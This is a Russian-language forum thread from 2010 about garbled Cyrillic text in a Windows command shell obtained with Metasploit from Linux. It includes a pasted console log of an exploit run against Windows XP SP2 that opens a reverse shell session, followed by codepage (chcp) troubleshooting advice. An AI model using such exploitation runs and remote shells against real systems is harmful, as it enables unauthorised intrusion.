Metasploit (Linux -> Windows). Проблема с кодировкой.
Вместо русского текста вопросительные знаки. По умолчанию в терминале после получения шела стоит кодировка 866, забиваю 1251, но без изменений - текст по прежнему неузнаваем. Как решить данную проблему?
А на убунте у тебя локаль какая? Не UTF8 случайно? Если да, то chcp 65001
Не знаю, а как определить?
п.с..:
Код:
[*] Started reverse handler on 172.31.47.208:4444 [*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Russian[*] Selected Target: Windows XP SP2 Russian (NX)[*] Attempting to trigger the vulnerability...[*] Command shell session 1 opened (172.31.47.208:4444 -> 172.31.42.223:3557) at Mon Jun 07 21:38:07 +0400 2010
chcp
chcp
������� ������� ��࠭���: 866
C:\WINDOWS\system32>chcp 65001
chcp 65001
������� ������� ��࠭���: 65001
C:\WINDOWS\system32>chcp
chcp
bye
но мне chcp 65001 по моему не помогает, или я что-то не так делаю?
По моему что-то со шрифтами... Можно конечно сменить всю локаль убунты на cp866, но это не правильно (как из пушки по комарам бить). Могу только посоветовать эту статью http://www.samag.ru/art/03.2006/03.2006_02.html
Последний раз редактировалось Migel; 08.06.2010 в 20:59..
Кстати, после смены кодовой страницы картинка как нибудь меняется? Скорее всего chcp меняет кодировку ввода данных, а вывод на экран по прежнему в cp866